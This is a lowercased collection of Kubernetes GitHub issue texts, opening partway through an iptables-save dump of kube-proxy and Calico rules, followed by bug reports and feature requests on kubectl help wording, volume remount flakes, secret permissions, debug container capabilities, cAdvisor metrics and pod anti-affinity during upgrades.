:kube-sep-w5eocgkhum6h7akt -  0:0 \r :kube-sep-x7hp3d5mocclhba6 -  0:0 \r :kube-sep-y55grxenecgtg7xt -  0:0 \r :kube-sep-zilthsilfx5g3kxq -  0:0 \r :kube-services -  0:0 \r :kube-svc-erifxisqep7f7of4 -  0:0 \r :kube-svc-npx46m4ptmtkrn6y -  0:0 \r :kube-svc-qknsg4pbsc46chcg -  0:0 \r :kube-svc-tcou7jcqxezgvunu -  0:0 \r :kube-svc-uduj6smpr2w24ufk -  0:0 \r :kube-svc-xgloha7qrq3v22rz -  0:0 \r :cali-output -  0:0 \r :cali-postrouting -  0:0 \r :cali-prerouting -  0:0 \r :cali-fip-dnat -  0:0 \r :cali-fip-snat -  0:0 \r :cali-nat-outgoing -  0:0 \r -a prerouting -m comment --comment \ cali:6gwbt8clxdhdc1b1\  -j cali-prerouting\r -a prerouting -m comment --comment \ kubernetes service portals\  -j kube-services\r -a output -m comment --comment \ cali:tvnhkvao15huipy0\  -j cali-output\r -a output -m comment --comment \ kubernetes service portals\  -j kube-services\r -a postrouting -m comment --comment \ cali:o3lywmrlqyemjtb5\  -j cali-postrouting\r -a postrouting -m comment --comment \ kubernetes postrouting rules\  -j kube-postrouting\r -a kube-fw-qknsg4pbsc46chcg -m comment --comment \ default/app-nextcloud-service: loadbalancer ip\  -j kube-mark-masq\r -a kube-fw-qknsg4pbsc46chcg -m comment --comment \ default/app-nextcloud-service: loadbalancer ip\  -j kube-svc-qknsg4pbsc46chcg\r -a kube-fw-qknsg4pbsc46chcg -m comment --comment \ default/app-nextcloud-service: loadbalancer ip\  -j kube-mark-drop\r -a kube-mark-drop -j mark --set-xmark 0x8000/0x8000\r -a kube-mark-masq -j mark --set-xmark 0x4000/0x4000\r -a kube-nodeports -p tcp -m comment --comment \ default/app-nextcloud-service:\  -m tcp --dport 30500 -j kube-mark-masq\r -a kube-nodeports -p tcp -m comment --comment \ default/app-nextcloud-service:\  -m tcp --dport 30500 -j kube-svc-qknsg4pbsc46chcg\r -a kube-postrouting -m comment --comment \ kubernetes service traffic requiring snat\  -m mark --mark 0x4000/0x4000 -j masquerade\r -a kube-sep-brmdtpynfarenuao -s 10.233.119.4/32 -m comment --comment \ kube-system/kubernetes-dashboard:\  -j kube-mark-masq\r -a kube-sep-brmdtpynfarenuao -p tcp -m comment --comment \ kube-system/kubernetes-dashboard:\  -m tcp -j dnat --to-destination 10.233.119.4:8443\r -a kube-sep-h6uqhhbe7ycrfuo5 -s 10.233.102.67/32 -m comment --comment \ kube-system/kube-dns:dns-tcp\  -j kube-mark-masq\r -a kube-sep-h6uqhhbe7ycrfuo5 -p tcp -m comment --comment \ kube-system/kube-dns:dns-tcp\  -m tcp -j dnat --to-destination 10.233.102.67:53\r -a kube-sep-ikyurpit5z7se65v -s 10.0.3.22/32 -m comment --comment \ default/kubernetes:https\  -j kube-mark-masq\r -a kube-sep-ikyurpit5z7se65v -p tcp -m comment --comment \ default/kubernetes:https\  -m tcp -j dnat --to-destination 10.0.3.22:6443\r -a kube-sep-jragqaa2i7alc3nj -s 10.0.3.21/32 -m comment --comment \ default/kubernetes:https\  -j kube-mark-masq\r -a kube-sep-jragqaa2i7alc3nj -p tcp -m comment --comment \ default/kubernetes:https\  -m tcp -j dnat --to-destination 10.0.3.21:6443\r -a kube-sep-odf7yukiisf3eylc -s 10.233.94.73/32 -m comment --comment \ default/nxtc-db-service:\  -j kube-mark-masq\r -a kube-sep-odf7yukiisf3eylc -p tcp -m comment --comment \ default/nxtc-db-service:\  -m tcp -j dnat --to-destination 10.233.94.73:3306\r -a kube-sep-w5eocgkhum6h7akt -s 10.233.119.3/32 -m comment --comment \ kube-system/kube-dns:dns-tcp\  -j kube-mark-masq\r -a kube-sep-w5eocgkhum6h7akt -p tcp -m comment --comment \ kube-system/kube-dns:dns-tcp\  -m tcp -j dnat --to-destination 10.233.119.3:53\r -a kube-sep-x7hp3d5mocclhba6 -s 10.233.119.3/32 -m comment --comment \ kube-system/kube-dns:dns\  -j kube-mark-masq\r -a kube-sep-x7hp3d5mocclhba6 -p udp -m comment --comment \ kube-system/kube-dns:dns\  -m udp -j dnat --to-destination 10.233.119.3:53\r -a kube-sep-y55grxenecgtg7xt -s 10.233.94.74/32 -m comment --comment \ default/app-nextcloud-service:\  -j kube-mark-masq\r -a kube-sep-y55grxenecgtg7xt -p tcp -m comment --comment \ default/app-nextcloud-service:\  -m tcp -j dnat --to-destination 10.233.94.74:9000\r -a kube-sep-zilthsilfx5g3kxq -s 10.233.102.67/32 -m comment --comment \ kube-system/kube-dns:dns\  -j kube-mark-masq\r -a kube-sep-zilthsilfx5g3kxq -p udp -m comment --comment \ kube-system/kube-dns:dns\  -m udp -j dnat --to-destination 10.233.102.67:53\r -a kube-services ! -s 10.233.64.0/18 -d 10.233.0.3/32 -p udp -m comment --comment \ kube-system/kube-dns:dns cluster ip\  -m udp --dport 53 -j kube-mark-masq\r -a kube-services -d 10.233.0.3/32 -p udp -m comment --comment \ kube-system/kube-dns:dns cluster ip\  -m udp --dport 53 -j kube-svc-tcou7jcqxezgvunu\r -a kube-services ! -s 10.233.64.0/18 -d 10.233.0.3/32 -p tcp -m comment --comment \ kube-system/kube-dns:dns-tcp cluster ip\  -m tcp --dport 53 -j kube-mark-mas\r q\r -a kube-services -d 10.233.0.3/32 -p tcp -m comment --comment \ kube-system/kube-dns:dns-tcp cluster ip\  -m tcp --dport 53 -j kube-svc-erifxisqep7f7of4\r -a kube-services ! -s 10.233.64.0/18 -d 10.233.19.41/32 -p tcp -m comment --comment \ default/app-nextcloud-service: cluster ip\  -m tcp --dport 9000 -j kube-ma\r rk-masq\r -a kube-services -d 10.233.19.41/32 -p tcp -m comment --comment \ default/app-nextcloud-service: cluster ip\  -m tcp --dport 9000 -j kube-svc-qknsg4pbsc46chcg\r -a kube-services -d 10.0.3.21/32 -p tcp -m comment --comment \ default/app-nextcloud-service: loadbalancer ip\  -m tcp --dport 9000 -j kube-fw-qknsg4pbsc46chcg\r -a kube-services ! -s 10.233.64.0/18 -d 10.233.24.136/32 -p tcp -m comment --comment \ kube-system/kubernetes-dashboard: cluster ip\  -m tcp --dport 443 -j kube\r -mark-masq\r -a kube-services -d 10.233.24.136/32 -p tcp -m comment --comment \ kube-system/kubernetes-dashboard: cluster ip\  -m tcp --dport 443 -j kube-svc-xgloha7qrq3v22r\r z\r -a kube-services ! -s 10.233.64.0/18 -d 10.233.0.1/32 -p tcp -m comment --comment \ default/kubernetes:https cluster ip\  -m tcp --dport 443 -j kube-mark-masq\r -a kube-services -d 10.233.0.1/32 -p tcp -m comment --comment \ default/kubernetes:https cluster ip\  -m tcp --dport 443 -j kube-svc-npx46m4ptmtkrn6y\r -a kube-services ! -s 10.233.64.0/18 -d 10.233.15.166/32 -p tcp -m comment --comment \ default/nxtc-db-service: cluster ip\  -m tcp --dport 3306 -j kube-mark-ma\r sq\r -a kube-services -d 10.233.15.166/32 -p tcp -m comment --comment \ default/nxtc-db-service: cluster ip\  -m tcp --dport 3306 -j kube-svc-uduj6smpr2w24ufk\r -a kube-services -m comment --comment \ kubernetes service nodeports; note: this must be the last rule in this chain\  -m addrtype --dst-type local -j kube-node\r ports\r -a kube-svc-erifxisqep7f7of4 -m comment --comment \ kube-system/kube-dns:dns-tcp\  -m statistic --mode random --probability 0.50000000000 -j kube-sep-h6uqhhbe7y\r crfuo5\r -a kube-svc-erifxisqep7f7of4 -m comment --comment \ kube-system/kube-dns:dns-tcp\  -j kube-sep-w5eocgkhum6h7akt\r -a kube-svc-npx46m4ptmtkrn6y -m comment --comment \ default/kubernetes:https\  -m statistic --mode random --probability 0.50000000000 -j kube-sep-jragqaa2i7alc3\r nj\r -a kube-svc-npx46m4ptmtkrn6y -m comment --comment \ default/kubernetes:https\  -j kube-sep-ikyurpit5z7se65v\r -a kube-svc-qknsg4pbsc46chcg -m comment --comment \ default/app-nextcloud-service:\  -j kube-sep-y55grxenecgtg7xt\r -a kube-svc-tcou7jcqxezgvunu -m comment --comment \ kube-system/kube-dns:dns\  -m statistic --mode random --probability 0.50000000000 -j kube-sep-zilthsilfx5g3k\r xq\r -a kube-svc-tcou7jcqxezgvunu -m comment --comment \ kube-system/kube-dns:dns\  -j kube-sep-x7hp3d5mocclhba6\r -a kube-svc-uduj6smpr2w24ufk -m comment --comment \ default/nxtc-db-service:\  -j kube-sep-odf7yukiisf3eylc\r -a kube-svc-xgloha7qrq3v22rz -m comment --comment \ kube-system/kubernetes-dashboard:\  -j kube-sep-brmdtpynfarenuao\r -a cali-output -m comment --comment \ cali:gbtav2p5cweveyjm\  -j cali-fip-dnat\r -a cali-postrouting -m comment --comment \ cali:z-c7xtvd2bq7s_ha\  -j cali-fip-snat\r -a cali-postrouting -m comment --comment \ cali:nykhezdlr11jccal\  -j cali-nat-outgoing\r -a cali-postrouting -o tunl0 -m comment --comment \ cali:jhlpt-esqr1tvyym\  -m addrtype ! --src-type local --limit-iface-out -m addrtype --src-type local -j mas\r querade\r -a cali-prerouting -m comment --comment \ cali:r6xmiziwujsdok6z\  -j cali-fip-dnat\r -a cali-nat-outgoing -m comment --comment \ cali:dw4t8uwpnclxrjii\  -m set --match-set cali40masq-ipam-pools src -m set ! --match-set cali40all-ipam-pools dst -\r j masquerade\r commit\r   completed on tue oct 30 20:19:27 2018\r   generated by iptables-save v1.6.1 on tue oct 30 20:19:27 2018\r  filter\r :input accept  3251:696645 \r :forward accept  0:0 \r :output accept  3332:817682 \r :docker-user -  0:0 \r :kube-external-services -  0:0 \r :kube-firewall -  0:0 \r :kube-forward -  0:0 \r :kube-services -  0:0 \r :cali-forward -  0:0 \r :cali-input -  0:0 \r :cali-output -  0:0 \r :cali-failsafe-in -  0:0 \r :cali-failsafe-out -  0:0 \r :cali-from-hep-forward -  0:0 \r :cali-from-host-endpoint -  0:0 \r :cali-from-wl-dispatch -  0:0 \r :cali-fw-cali56d2a8f6219 -  0:0 \r :cali-fw-calia398858f723 -  0:0 \r :cali-pri-kns.kube-system -  0:0 \r :cali-pro-kns.kube-system -  0:0 \r :cali-to-hep-forward -  0:0 \r :cali-to-host-endpoint -  0:0 \r :cali-to-wl-dispatch -  0:0 \r :cali-tw-cali56d2a8f6219 -  0:0 \r :cali-tw-calia398858f723 -  0:0 \r :cali-wl-to-host -  0:0 \r -a input -m comment --comment \ cali:cz_u1iqiximmkd4c\  -j cali-input\r -a input -m conntrack --ctstate new -m comment --comment \ kubernetes externally-visible service portals\  -j kube-external-services\r -a input -j kube-firewall\r -a forward -m comment --comment \ cali:wuhhoiayhpho9mso\  -j cali-forward\r -a forward -m comment --comment \ kubernetes forwarding rules\  -j kube-forward\r -a forward -j docker-user\r -a output -m comment --comment \ cali:tvnhkvao15huipy0\  -j cali-output\r -a output -m conntrack --ctstate new -m comment --comment \ kubernetes service portals\  -j kube-services\r -a output -j kube-firewall\r -a docker-user -j return\r -a kube-firewall -m comment --comment \ kubernetes firewall for dropping marked packets\  -m mark --mark 0x8000/0x8000 -j drop\r -a kube-forward -m comment --comment \ kubernetes forwarding rules\  -m mark --mark 0x4000/0x4000 -j accept\r -a kube-forward -s 10.233.64.0/18 -m comment --comment \ kubernetes forwarding conntrack pod source rule\  -m conntrack --ctstate related,established -j accept\r -a kube-forward -d 10.233.64.0/18 -m comment --comment \ kubernetes forwarding conntrack pod destination rule\  -m conntrack --ctstate related,established -j ac\r cept\r -a cali-forward -m comment --comment \ cali:vjrmjcrpqwy5orox\  -j mark --set-xmark 0x0/0xe0000\r -a cali-forward -m comment --comment \ cali:a_spao0mcxbt9mov\  -m mark --mark 0x0/0x10000 -j cali-from-hep-forward\r -a cali-forward -i cali+ -m comment --comment \ cali:8zoyfo5hkxwbb3pk\  -j cali-from-wl-dispatch\r -a cali-forward -o cali+ -m comment --comment \ cali:jdeuapbe14v2hutn\  -j cali-to-wl-dispatch\r -a cali-forward -m comment --comment \ cali:12bc6hljsmksmfr-\  -j cali-to-hep-forward\r -a cali-forward -m comment --comment \ cali:mh9kmp5anicl-olv\  -m comment --comment \ policy explicitly accepted packet.\  -m mark --mark 0x10000/0x10000 -j accep\r t\r -a cali-input -m comment --comment \ cali:msridfjrwnywzw4g\  -m mark --mark 0x10000/0x10000 -j accept\r -a cali-input -p ipencap -m comment --comment \ cali:8-fzsltem5d4jor0\  -m comment --comment \ allow ipip packets from calico hosts\  -m set --match-set cali40all\r -hosts src -m addrtype --dst-type local -j accept\r -a cali-input -p ipencap -m comment --comment \ cali:8u47csiys8deg5nh\  -m comment --comment \ drop ipip packets from non-calico hosts\  -j drop\r -a cali-input -i cali+ -m comment --comment \ cali:uppb_suqvo_9mcha\  -g cali-wl-to-host\r -a cali-input -m comment --comment \ cali:cpj8_odn6ry4k_o0\  -j mark --set-xmark 0x0/0xf0000\r -a cali-input -m comment --comment \ cali:twyihw95xxcvxi98\  -j cali-from-host-endpoint\r -a cali-input -m comment --comment \ cali:8r3-pheikq1qdzxw\  -m comment --comment \ host endpoint policy accepted packet.\  -m mark --mark 0x10000/0x10000 -j acce\r pt\r -a cali-output -m comment --comment \ cali:mq1_radxxh3ykrzw\  -m mark --mark 0x10000/0x10000 -j accept\r -a cali-output -o cali+ -m comment --comment \ cali:69fkrtjdvd5vu6vl\  -j return\r -a cali-output -p ipencap -m comment --comment \ cali:ecf5cwrb88sv7nhi\  -m comment --comment \ allow ipip packets to other calico hosts\  -m set --match-set cali\r 40all-hosts dst -m addrtype --src-type local -j accept\r -a cali-output -m comment --comment \ cali:vzut00xqkxl-zgpp\  -j mark --set-xmark 0x0/0xf0000\r -a cali-output -m comment --comment \ cali:z6xzwjtkwetrzqnc\  -j cali-to-host-endpoint\r -a cali-output -m comment --comment \ cali:kp0i5jt6mu1g_qen\  -m comment --comment \ host endpoint policy accepted packet.\  -m mark --mark 0x10000/0x10000 -j acc\r ept\r -a cali-failsafe-in -p tcp -m comment --comment \ cali:wwfqm43tju7wwnfz\  -m multiport --dports 22 -j accept\r -a cali-failsafe-in -p udp -m comment --comment \ cali:lwnv--r8mjeuyacw\  -m multiport --dports 68 -j accept\r -a cali-failsafe-in -p tcp -m comment --comment \ cali:qoo5nuoqoss1_iw0\  -m multiport --dports 179 -j accept\r -a cali-failsafe-in -p tcp -m comment --comment \ cali:cwzwobswveiazmvn\  -m multiport --dports 2379 -j accept\r -a cali-failsafe-in -p tcp -m comment --comment \ cali:7fbnxt91kuge_upr\  -m multiport --dports 2380 -j accept\r -a cali-failsafe-in -p tcp -m comment --comment \ cali:ywe9wyubepve70wt\  -m multiport --dports 6666 -j accept\r -a cali-failsafe-in -p tcp -m comment --comment \ cali:l-wqsvbf_lygpr0j\  -m multiport --dports 6667 -j accept\r -a cali-failsafe-out -p udp -m comment --comment \ cali:82hjfji-wchfhaql\  -m multiport --dports 53 -j accept\r -a cali-failsafe-out -p udp -m comment --comment \ cali:tnm3rfejbnr72hgh\  -m multiport --dports 67 -j accept\r -a cali-failsafe-out -p tcp -m comment --comment \ cali:ycxkitil4u3dk0hr\  -m multiport --dports 179 -j accept\r -a cali-failsafe-out -p tcp -m comment --comment \ cali:hxjewyxdkxxkdvut\  -m multiport --dports 2379 -j accept\r -a cali-failsafe-out -p tcp -m comment --comment \ cali:ca_gltruuvg88kio\  -m multiport --dports 2380 -j accept\r -a cali-failsafe-out -p tcp -m comment --comment \ cali:sb1hklyfmrks6r01\  -m multiport --dports 6666 -j accept\r -a cali-failsafe-out -p tcp -m comment --comment \ cali:uwlsebgonjug4yg-\  -m multiport --dports 6667 -j accept\r -a cali-from-wl-dispatch -i cali56d2a8f6219 -m comment --comment \ cali:ydqet9iulqixr2ep\  -g cali-fw-cali56d2a8f6219                                           \r -a cali-from-wl-dispatch -i calia398858f723 -m comment --comment \ cali:bpzyxgf9vydnrb1o\  -g cali-fw-calia398858f723\r -a cali-from-wl-dispatch -m comment --comment \ cali:o4etvtrnbjzawcxf\  -m comment --comment \ unknown interface\  -j drop\r -a cali-fw-cali56d2a8f6219 -m comment --comment \ cali:6qx5sw-frhmrxwxn\  -m conntrack --ctstate related,established -j accept\r -a cali-fw-cali56d2a8f6219 -m comment --comment \ cali:2jd_coqsqghxfveb\  -m conntrack --ctstate invalid -j drop\r -a cali-fw-cali56d2a8f6219 -m comment --comment \ cali:p7dvryn3_sw-w9vi\  -j mark --set-xmark 0x0/0x10000\r -a cali-fw-cali56d2a8f6219 -m comment --comment \ cali:ngzr1bw3eniyofwd\  -j cali-pro-kns.kube-system\r -a cali-fw-cali56d2a8f6219 -m comment --comment \ cali:8vwuvb0vs9zdhigl\  -m comment --comment \ return if profile accepted\  -m mark --mark 0x10000/0x10000 -j r$\r turn\r -a cali-fw-cali56d2a8f6219 -m comment --comment \ cali:p9tayreqfoqqwitd\  -m comment --comment \ drop if no profiles matched\  -j drop\r -a cali-fw-calia398858f723 -m comment --comment \ cali:slofaov3nkzda7_f\  -m conntrack --ctstate related,established -j accept\r -a cali-fw-calia398858f723 -m comment --comment \ cali:apwbex5qxvsvreaa\  -m conntrack --ctstate invalid -j drop\r -a cali-fw-calia398858f723 -m comment --comment \ cali:riyma1zu78_aqv49\  -j mark --set-xmark 0x0/0x10000\r -a cali-fw-calia398858f723 -m comment --comment \ cali:z-hnxtqpdnnkuels\  -j cali-pro-kns.kube-system\r -a cali-fw-calia398858f723 -m comment --comment \ cali:6cj3qbn5ephc5cdh\  -m comment --comment \ return if profile accepted\  -m mark --mark 0x10000/0x10000 -j r$\r turn\r -a cali-fw-calia398858f723 -m comment --comment \ cali:_extxr6fvleotgan\  -m comment --comment \ drop if no profiles matched\  -j drop\r -a cali-pri-kns.kube-system -m comment --comment \ cali:zoh5gu6u55fkzxeo\  -j mark --set-xmark 0x10000/0x10000\r -a cali-pri-kns.kube-system -m comment --comment \ cali:bcgrijcyos9dgbib\  -m mark --mark 0x10000/0x10000 -j return\r -a cali-pro-kns.kube-system -m comment --comment \ cali:-50ojumflvo3lkbk\  -j mark --set-xmark 0x10000/0x10000\r -a cali-pro-kns.kube-system -m comment --comment \ cali:ztvpkv1uyejnzm1g\  -m mark --mark 0x10000/0x10000 -j return\r -a cali-to-wl-dispatch -o cali56d2a8f6219 -m comment --comment \ cali:kgbyn8w7zo-9xw66\  -g cali-tw-cali56d2a8f6219\r -a cali-to-wl-dispatch -o calia398858f723 -m comment --comment \ cali:d9pi-jauhjdjrawx\  -g cali-tw-calia398858f723\r -a cali-to-wl-dispatch -m comment --comment \ cali:lwgpqetihvwkjhlh\  -m comment --comment \ unknown interface\  -j drop\r -a cali-tw-cali56d2a8f6219 -m comment --comment \ cali:k87t6nxzcdgynole\  -m conntrack --ctstate related,established -j accept\r -a cali-tw-cali56d2a8f6219 -m comment --comment \ cali:gbx6k3k5h_p8sejm\  -m conntrack --ctstate invalid -j drop\r -a cali-tw-cali56d2a8f6219 -m comment --comment \ cali:_gbkhmze00nrg67b\  -j mark --set-xmark 0x0/0x10000\r -a cali-tw-cali56d2a8f6219 -m comment --comment \ cali:dg_hukh9inaek-of\  -j cali-pri-kns.kube-system\r -a cali-tw-cali56d2a8f6219 -m comment --comment \ cali:dvkvfia4j5uld9wp\  -m comment --comment \ return if profile accepted\  -m mark --mark 0x10000/0x10000 -j r$\r turn\r -a cali-tw-cali56d2a8f6219 -m comment --comment \ cali:fxnupmeyq-78lckk\  -m comment --comment \ drop if no profiles matched\  -j drop\r -a cali-tw-calia398858f723 -m comment --comment \ cali:owhcyo1joecqv_nd\  -m conntrack --ctstate related,established -j accept\r -a cali-tw-calia398858f723 -m comment --comment \ cali:yluztewpnpzt0icg\  -m conntrack --ctstate invalid -j drop\r -a cali-tw-calia398858f723 -m comment --comment \ cali:aeydbjts0macwhc4\  -j mark --set-xmark 0x0/0x10000\r -a cali-tw-calia398858f723 -m comment --comment \ cali:lohundgufrw39ee5\  -j cali-pri-kns.kube-system\r -a cali-tw-calia398858f723 -m comment --comment \ cali:ov15insf3mrk9aop\  -m comment --comment \ return if profile accepted\  -m mark --mark 0x10000/0x10000 -j r$\r turn\r -a cali-tw-calia398858f723 -m comment --comment \ cali:yknr_psjcv15lyhf\  -m comment --comment \ drop if no profiles matched\  -j drop\r -a cali-wl-to-host -m comment --comment \ cali:ee9sbo10ipvujdiy\  -j cali-from-wl-dispatch\r -a cali-wl-to-host -m comment --comment \ cali:so1yjiy1b553bidi\  -m comment --comment \ configured defaultendpointtohostaction\  -j return\r commit\r   completed on tue oct 30 20:19:27 2018\r \r in tcpdump i see syn packets and syn-ack and afterwards fin packets righ away\r i don't have any network policies enabled:\r \r kubectl get networkpolicy --all-namespaces\r no resources found.\r \r

kubectl help strings say \ resource\ , but resource means the thing itself, not its type. according to docs/api-conventions.md, we call the type of the thing the \ kind\ .  so the help strings should change to \ kind\ .  example:      $ kubectl help get ... usage:    kubectl get   -o|--output= json|yaml|template|...   resource  name  | resource/name ...   flags       should read:      $ kubectl help get ... usage:    kubectl get   -o|--output= json|yaml|template|...   kind  name  | kind/name ...   flags

i noticed that the kube-down.sh script apparently gets the zone from the config file.   after launching a cluster i'd changed the zone in cluster/gce/config-default.sh.  this caused the takedown  process to break.   it would be more robust to get the zone info from the cluster context instead.

ref https://github.com/kubernetes/kubernetes/issues/28462 ref https://github.com/kubernetes/kubernetes/issues/28416  i believe these two flakes have the same root cause:  when there's a pod update event to kubelet, kubelet will invoke the  volume manager  to update the pod state to introduce the updated annotation: https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/volumemanager/volume_manager.go l298  the  volume manager : - 1, tells the  desiredstateofworld populator  to reprocess the volume mount in the next loop. - 2, mark the volume in  actualstateofworld  to be remounted.   https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/volumemanager/volume_manager.go l311-l312  however in the reconciler's reconciling loop, it does not always pick up the latest pod state with the latest annotation in the memory cache as the  populator  is running asynchronously. https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/volumemanager/reconciler/reconciler.go l150  but when it reads the  actualstateofworld , it does get notified that the volume needs to be remount,  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/volumemanager/reconciler/reconciler.go l223  so when remounting the volume, it ends up thinking that the annotation in the pod is not changed, and thus not modifying the content on the disk.  although the annotation updates on the disk will happen eventually after another periodic pod sync event received by kubelet, but it will results in the timeout of the e2e tests.  cc @kubernetes/sig-storage

a user tried to run the conformance test on master node, but found that the nodes registered themselves on the test master in the nct container which is not expected.\r \r we should make the test master configuration configurable, so that user can customize the configuration to avoid interference, e.g. specify a test apiserver port etc.\r \r ref https://github.com/kubernetes/kubernetes/issues/30122.

when a pod is created/updated and has a volumesource of type \ secret\ , then we should validate whether the user creating the pod has permission to use that secret.

failure cluster  63a36434077ff31ae29e  https://go.k8s.io/triage 63a36434077ff31ae29e        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/resource_quota.go:448 expected error:     < errors.errorstring | 0xc420278b70>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/resource_quota.go:418           failure cluster statistics: 26 tests failed,    62 jobs failed,    225 builds failed. failure stats cover 1 day time range '7 sep 2017 10:43 utc' to '8 sep 2017 10:43 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  sig-apps  job should exceed backofflimit | 22 | |  k8s.io  dns should provide dns for pods for hostname and subdomain annotation | 16 | |  k8s.io  dns should provide dns for the cluster  conformance  | 15 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-kubeadm-gce-stable-on-master | 15 |  8 sep 2017 06:19 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kubeadm-gce-stable-on-master/22  | | ci-kubernetes-e2e-gke-gci-1-5-cvm-1-7-upgrade-cluster | 12 |  8 sep 2017 09:25 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-1-5-cvm-1-7-upgrade-cluster/901  | | ci-kubernetes-e2e-gke-cvm-1-5-cvm-1-7-upgrade-master | 11 |  8 sep 2017 09:37 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cvm-1-5-cvm-1-7-upgrade-master/850  |  /assign @mtaufen @roberthbailey @justinsb  <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | mtaufen |  k8s.io  dns should provide dns for pods for hostname and subdomain annotation;  k8s.io  daemon set  serial  should run and stop simple daemon | | roberthbailey |  k8s.io  dns should provide dns for the cluster  conformance ;  k8s.io  dns should provide dns for services  conformance  | | justinsb |  k8s.io  etcd failure  disruptive  should recover from network partition with master | | sig/api-machinery |  k8s.io  etcd failure  disruptive  should recover from network partition with master;  k8s.io  etcd failure  disruptive  should recover from sigkill | | sig/network |  k8s.io  dns should provide dns for pods for hostname and subdomain annotation;  k8s.io  dns should provide dns for the cluster  conformance ;  k8s.io  services should be able to create a functioning nodeport service | | sig/apps |  k8s.io  daemon set  serial  should run and stop simple daemon;  k8s.io  replicaset should serve a basic image on each replica with a private image;  k8s.io  replicationcontroller should serve a basic image on each replica with a private image |  </details><br>   current status  https://go.k8s.io/triage 63a36434077ff31ae29e

 \r \r \r \r   what happened  :\r \r under the subject  why can't my containers find the service they need to connect to? , on the wiki page on github at https://github.com/kubernetes/kubernetes/wiki/user-faq there's a link that reads  environment variable names  that points to the old location for kubernetes on github: https://github.com/googlecloudplatform/kubernetes/blob/master/docs/services.md how-do-they-work\r \r   what you expected to happen  :\r \r i expected the link to follow to documentation ;- \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   navigate in a browser to https://github.com/kubernetes/kubernetes/wiki/user-faq\r   find the relevant text  environment variable names \r   click on the link\r \r   you get a 404 since the repository  and related documentation  have been moved and updated.\r \r   anything else we need to know?  :\r \r i think the correct destination is back in the documentation at https://kubernetes.io/docs/concepts/services-networking/connect-applications-service/ environment-variables\r \r   environment  :\r \r just a browser in this case

part of  27140, this issue should be resolve before the feature exits alpha.\r \r security context should be configurable at debug time, but the current minimal api implementation doesn't support it. currently all ephemeral containers are created with:\r    \r securitycontext: &v1.securitycontext{\r          capabilities: &v1.capabilities{\r                   // these are the capabilities needed for strace and nsenter.\r                   add:   v1.capability{\ sys_ptrace\ , \ sys_admin\ },\r           },\r },\r    \r \r \r   is this a bug report or feature request?  : feature request\r \r   /assign @verb

 \r issues such as  47131 suggest our test coverage of failure modes for ha kubernetes configurations is insufficient.\r \r this is a placeholder issue to review our existing test coverage, identify our most critical blind spots and propose a set of changes to improve our test coverage of ha failure modes.\r \r cc @xiang90

<!-- this form is for bug reports and feature requests only! \r bug \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r bug report\r > uncomment only one, leave it on its own line: \r >\r >  \r \r   what happened  :\r i'm using k8s v1.8.1. and i want to collect custom metric by cadvisor. from source, i know i shall label the pod and put in a config file in the container.\r \r i add a label  to my daemonset: \r    \r apiversion: extensions/v1beta1\r kind: daemonset\r metadata:\r   name: gpu-monitor-agent\r spec:\r   template:\r     metadata:\r       labels:\r         io.cadvisor.metric.testing: \ cadvisor_config.json\ \r     spec:\r       containers:\r       - name: agent\r         image: gpu-monitor-agent:v0.1\r         ...\r    \r and put a  cadvisor_config.json  in the container  /cadvisor_config.json . but after i create it, kubelet reports:\r    \r failed to register collectors for \ /kubepods/podxxx/2b8ff9a3da84482d33e7cd7ce3xxx\ : failed to read config file \ xxx\  for config \ xxx\  : file \ xxx\  does not exist.\r    \r i inspect the docker containers, and find no my labels in agent container, but it exists in pause container.\r kublet is reading config file in pause container!\r \r i don't known if i had done some wrong. help me,plz.\r \r   what you expected to happen  :\r collect custom metrics successfully.\r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.8.1\r - cloud provider or hardware configuration: virtualmachine\r - os  e.g. from /etc/os-release : centos 7.2\r - kernel  e.g.  uname -a  : linux yjh-dev 3.10.0-514.el7.x86_64  1 smp tue nov 22 16:42:41 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others: docker 17.09.0-ce\r

\r   is this a bug report or feature request?  :\r \r >\r >  \r \r   what happened  :\r i have a kube-dns deployment to create multiple dns pods on each node. use pod anti-affinity policy to make sure dns pods can be spreaded over cluster nodes.\r \r    \r   selector:\r     matchlabels:\r       k8s-app: kube-dns\r   template:\r     metadata:\r       labels:\r         k8s-app: kube-dns\r       annotations:\r         scheduler.alpha.kubernetes.io/critical-pod: ''\r     spec:\r       affinity:\r         podantiaffinity:\r           requiredduringschedulingignoredduringexecution:\r           - labelselector:\r               matchexpressions:\r               - key: k8s-app\r                 operator: in\r                 values:\r                 - kube-dns\r             topologykey: \ kubernetes.io/hostname\ \r       containers:\r       - name: kubedns\r    \r \r then i want to upgrade my kube-dns to the latest version  1.14.4 . the new pod is in  pending  state forever because of no node is selected for the pod because of pod anti-affinity policy.\r \r   what you expected to happen  :\r the rolling upgrade process of kube-dns deployment should be completed as expected.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create deployment with pod anti-affinity set.\r 2. upgrade the deployment.\r \r   anything else we need to know?  :\r \r   environment  : none\r - kubernetes version  use  kubectl version  : v1.8.3\r - cloud provider or hardware configuration: none\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  :\r - install tools: self-defined\r - others:\r

